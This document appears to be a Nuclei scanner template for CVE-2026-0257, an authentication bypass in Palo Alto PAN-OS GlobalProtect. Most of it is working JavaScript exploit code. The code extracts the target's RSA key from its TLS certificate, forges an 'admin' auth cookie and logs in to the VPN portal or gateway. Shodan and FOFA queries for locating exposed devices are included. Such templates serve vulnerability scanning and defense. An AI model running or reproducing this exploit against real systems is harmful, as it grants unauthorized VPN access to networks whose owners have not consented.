id: CVE-2026-0257 info: name: Palo Alto Networks PAN-OS - Authentication Bypass author: dhiyaneshdk,sfewer-r7 severity: critical description: | Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway. impact: | Attackers can bypass authentication to establish unauthorized VPN connections, potentially gaining network access. remediation: | Update to the latest PAN-OS version that addresses GlobalProtect authentication bypass. reference: - https://security.paloaltonetworks.com/CVE-2026-0257 - https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257/ - https://github.com/sfewer-r7/CVE-2026-0257 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.1 cve-id: CVE-2026-0257 epss-score: 0.93905 epss-percentile: 0.99834 cwe-id: CWE-565 metadata: verified: true max-request: 12 vendor: paloaltonetworks product: pan-os shodan-query: http.title:"GlobalProtect" port:443 fofa-query: title="GlobalProtect" tags: cve,cve2026,pan-os,paloalto,globalprotect,auth-bypass,vpn,kev,vkev,critical flow: http(1) && javascript(1) http: - method: GET path: - "{{BaseURL}}/global-protect/login.esp" - "{{BaseURL}}/sslmgr" stop-at-first-match: true host-redirects: true max-redirects: 2 matchers: - type: dsl internal: true dsl: - "status_code != 0" - 'contains_any(tolower(body), "globalprotect", "global protect", "pan_form_") || contains(body, "Invalid parameters") || contains(tolower(header), "panweb")' condition: and javascript: - args: Host: "{{Host}}" Hostname: "{{Hostname}}" code: | let net = require("nuclei/net"); let host = Host; let parts = Hostname.split(":"); let port = parts.length > 1 ? parts[parts.length - 1] : "443"; let user = "admin"; function u16(a, v) { a.push((v >> 8) & 0xff, v & 0xff); } function u24(a, v) { a.push((v >> 16) & 0xff, (v >> 8) & 0xff, v & 0xff); } function cat(d, s) { for (let i = 0; i < s.length; i++) d.push(s[i]); } function str2b(s) { let a = []; for (let i = 0; i < s.length; i++) a.push(s.charCodeAt(i)); return a; } function toHex(a) { let s = ""; for (let i = 0; i < a.length; i++) s += ("0" + (a[i] & 0xff).toString(16)).slice(-2); return s; } function b64(a) { let T = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = ""; for (let i = 0; i < a.length; i += 3) { let x = a[i], y = i + 1 < a.length ? a[i + 1] : 0, z = i + 2 < a.length ? a[i + 2] : 0, n = a.length - i; r += T[x >> 2] + T[((x & 3) << 4) | (y >> 4)]; r += n > 1 ? T[((y & 0xf) << 2) | (z >> 6)] : "="; r += n > 2 ? T[z & 0x3f] : "="; } return r; } function bytes2bi(a) { let n = BigInt(0); for (let i = 0; i < a.length; i++) n = (n << BigInt(8)) | BigInt(a[i] & 0xff); return n; } function bi2bytes(n, len) { let a = new Array(len); for (let i = len - 1; i >= 0; i--) { a[i] = Number(n & BigInt(0xff)); n = n >> BigInt(8); } return a; } function modpow(b, e, m) { let r = BigInt(1); b = b % m; while (e > BigInt(0)) { if (e & BigInt(1)) r = (r * b) % m; e = e >> BigInt(1); b = (b * b) % m; } return r; } function buildHello(hostname) { let hb = str2b(hostname), ext = []; let sn = []; sn.push(0x00); u16(sn, hb.length); cat(sn, hb); let sl = []; u16(sl, sn.length); cat(sl, sn); u16(ext, 0x0000); u16(ext, sl.length); cat(ext, sl); let sa = [0x04, 0x01, 0x05, 0x01, 0x06, 0x01, 0x04, 0x03, 0x05, 0x03, 0x02, 0x01]; let sb = []; u16(sb, sa.length); cat(sb, sa); u16(ext, 0x000d); u16(ext, sb.length); cat(ext, sb); let gr = [0x00, 0x17, 0x00, 0x18, 0x00, 0x19]; let gb = []; u16(gb, gr.length); cat(gb, gr); u16(ext, 0x000a); u16(ext, gb.length); cat(ext, gb); u16(ext, 0x000b); u16(ext, 2); ext.push(0x01, 0x00); let body = []; body.push(0x03, 0x03); let ts = Math.floor(Date.now() / 1000); body.push((ts >> 24) & 0xff, (ts >> 16) & 0xff, (ts >> 8) & 0xff, ts & 0xff); for (let i = 0; i < 28; i++) body.push(Math.floor(Math.random() * 256)); body.push(0x00); let cs = [0xc0, 0x2f, 0xc0, 0x30, 0xc0, 0x13, 0xc0, 0x14, 0x00, 0x9c, 0x00, 0x9d, 0x00, 0x2f, 0x00, 0x35, 0x00, 0xff]; u16(body, cs.length); cat(body, cs); body.push(0x01, 0x00); u16(body, ext.length); cat(body, ext); let hs = []; hs.push(0x01); u24(hs, body.length); cat(hs, body); let rec = []; rec.push(0x16, 0x03, 0x01); u16(rec, hs.length); cat(rec, hs); return rec; } function parseCerts(data) { let hs = [], i = 0; while (i + 5 <= data.length) { let t = data[i], rl = (data[i + 3] << 8) | data[i + 4]; if (i + 5 + rl > data.length) break; if (t === 22) for (let j = 0; j < rl; j++) hs.push(data[i + 5 + j]); i += 5 + rl; } let certs = [], j = 0; while (j + 4 <= hs.length) { let ht = hs[j], hl = (hs[j + 1] << 16) | (hs[j + 2] << 8) | hs[j + 3]; if (j + 4 + hl > hs.length) break; if (ht === 11) { let o = j + 4, total = (hs[o] << 16) | (hs[o + 1] << 8) | hs[o + 2], k = o + 3, end = Math.min(o + 3 + total, j + 4 + hl); while (k + 3 <= end) { let cl = (hs[k] << 16) | (hs[k + 1] << 8) | hs[k + 2]; if (k + 3 + cl > end) break; certs.push(hs.slice(k + 3, k + 3 + cl)); k += 3 + cl; } break; } j += 4 + hl; } return certs; } function hasDone(d) { for (let i = 0; i + 5 <= d.length;) { let ct = d[i], rl = (d[i + 3] << 8) | d[i + 4]; if (i + 5 + rl > d.length) break; if (ct === 22) for (let j = i + 5, e = j + rl; j + 4 <= e;) { if (d[j] === 14) return true; j += 4 + ((d[j + 1] << 16) | (d[j + 2] << 8) | d[j + 3]); } i += 5 + rl; } return false; } function rdTL(d, p) { let tag = d[p++], len = d[p++]; if (len & 0x80) { let nb = len & 0x7f; len = 0; for (let i = 0; i < nb; i++) len = (len << 8) | d[p++]; } return { tag: tag, len: len, pos: p }; } function getRSAKey(der) { let r = rdTL(der, 0), p = r.pos; r = rdTL(der, p); p = r.pos; r = rdTL(der, p); if (r.tag === 0xa0) { p = r.pos + r.len; r = rdTL(der, p); } p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos; r = rdTL(der, p); let ae = r.pos + r.len; p = r.pos; r = rdTL(der, p); let oid = der.slice(r.pos, r.pos + r.len); let rsaOid = [0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01]; if (oid.length !== rsaOid.length) return null; for (let i = 0; i < rsaOid.length; i++) if (oid[i] !== rsaOid[i]) return null; p = ae; r = rdTL(der, p); p = r.pos + 1; r = rdTL(der, p); p = r.pos; r = rdTL(der, p); let ms = r.pos, ml = r.len; if (der[ms] === 0 && ml > 1) { ms++; ml--; } let modB = der.slice(ms, ms + ml); p = r.pos + r.len; r = rdTL(der, p); let expB = der.slice(r.pos, r.pos + r.len); return { n: bytes2bi(modB), e: bytes2bi(expB), kl: modB.length }; } function forge(n, e, kl, username) { let ts = Math.floor(Date.now() / 1000).toString(); let pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0"); let padLen = kl - pt.length - 3; if (padLen < 8) return ""; let em = [0x00, 0x02]; for (let i = 0; i < padLen; i++) em.push(Math.floor(Math.random() * 254) + 1); em.push(0x00); cat(em, pt); return b64(bi2bytes(modpow(bytes2bi(em), e, n), kl)); } function encodeCookie(cookie) { return cookie.replace(/\+/g, "%2B").replace(/\//g, "%2F").replace(/=/g, "%3D"); } function testCookie(cookieB64, context) { let cookieEnc = encodeCookie(cookieB64); let body = "prot=https&server=" + host + "&inputStr=&jnlpReady=jnlpReady&ok=Login&direct=yes&clientVer=4100" + "&user=" + user + "&passwd=&context=" + context + "&clientos=Windows&clientgpversion=6.0.0&host-id=&computer=" + "&os-version=Microsoft+Windows+10+Pro+64-bit" + "&portal-userauthcookie=" + cookieEnc + "&portal-prelogonuserauthcookie="; let req = "POST /ssl-vpn/login.esp HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" + "User-Agent: GlobalProtect/6.0.0\r\n" + "Content-Length: " + body.length + "\r\n" + "Connection: close\r\n\r\n" + body; let conn = net.OpenTLS("tcp", host + ":" + port); conn.SetTimeout(10); conn.Send(req); let resp = conn.RecvFullString(0); conn.Close(); return resp; } function isGatewaySuccess(resp) { if (resp.indexOf(" 200 ") === -1 && resp.indexOf("HTTP/1.1 200") === -1 && resp.indexOf("HTTP/2 200") === -1) return false; return resp.indexOf("Success") !== -1 || (resp.indexOf("") !== -1 && resp.indexOf(user) !== -1); } function isPortalSuccess(resp) { if (resp.indexOf(" 200 ") === -1 && resp.indexOf("HTTP/1.1 200") === -1 && resp.indexOf("HTTP/2 200") === -1) return false; return resp.indexOf("") !== -1 && resp.indexOf(user) !== -1; } let result = ""; try { let hello = buildHello(host); let conn = net.Open("tcp", host + ":" + port); conn.SetTimeout(5); conn.SendHex(toHex(hello)); let raw = []; for (let a = 0; a < 10; a++) { try { let c = conn.Recv(32768); if (!c || c.length === 0) break; for (let i = 0; i < c.length; i++) raw.push(c[i]); if (hasDone(raw)) break; } catch (e) { break; } } conn.Close(); let certs = parseCerts(raw); for (let i = 0; i < certs.length && result === ""; i++) { let key = null; try { key = getRSAKey(certs[i]); } catch (e) { continue; } if (!key) continue; let cookie = forge(key.n, key.e, key.kl, user); if (!cookie) continue; let gwResp = testCookie(cookie, "gateway"); if (isGatewaySuccess(gwResp)) { result = "GlobalProtect auth bypass confirmed (gateway): " + user; break; } let portalResp = testCookie(cookie, "portal"); if (isPortalSuccess(portalResp)) { result = "GlobalProtect auth bypass confirmed (portal): " + user; break; } } } catch (e) {} Export(result); matchers: - type: dsl dsl: - "success == true" - "contains(response, 'GlobalProtect auth bypass confirmed')" condition: and extractors: - type: dsl dsl: - response # digest: 4a0a00473045022100f3fbfbb1e57ebce4f784bf393ffd95e23ea44aa1b694418e84378b332e247e6a02202c5062f41660504874be946543ee1d27ee637321d43d9a1071fb222b3feaae6c:922c64590222798bb761d5b6d8e72950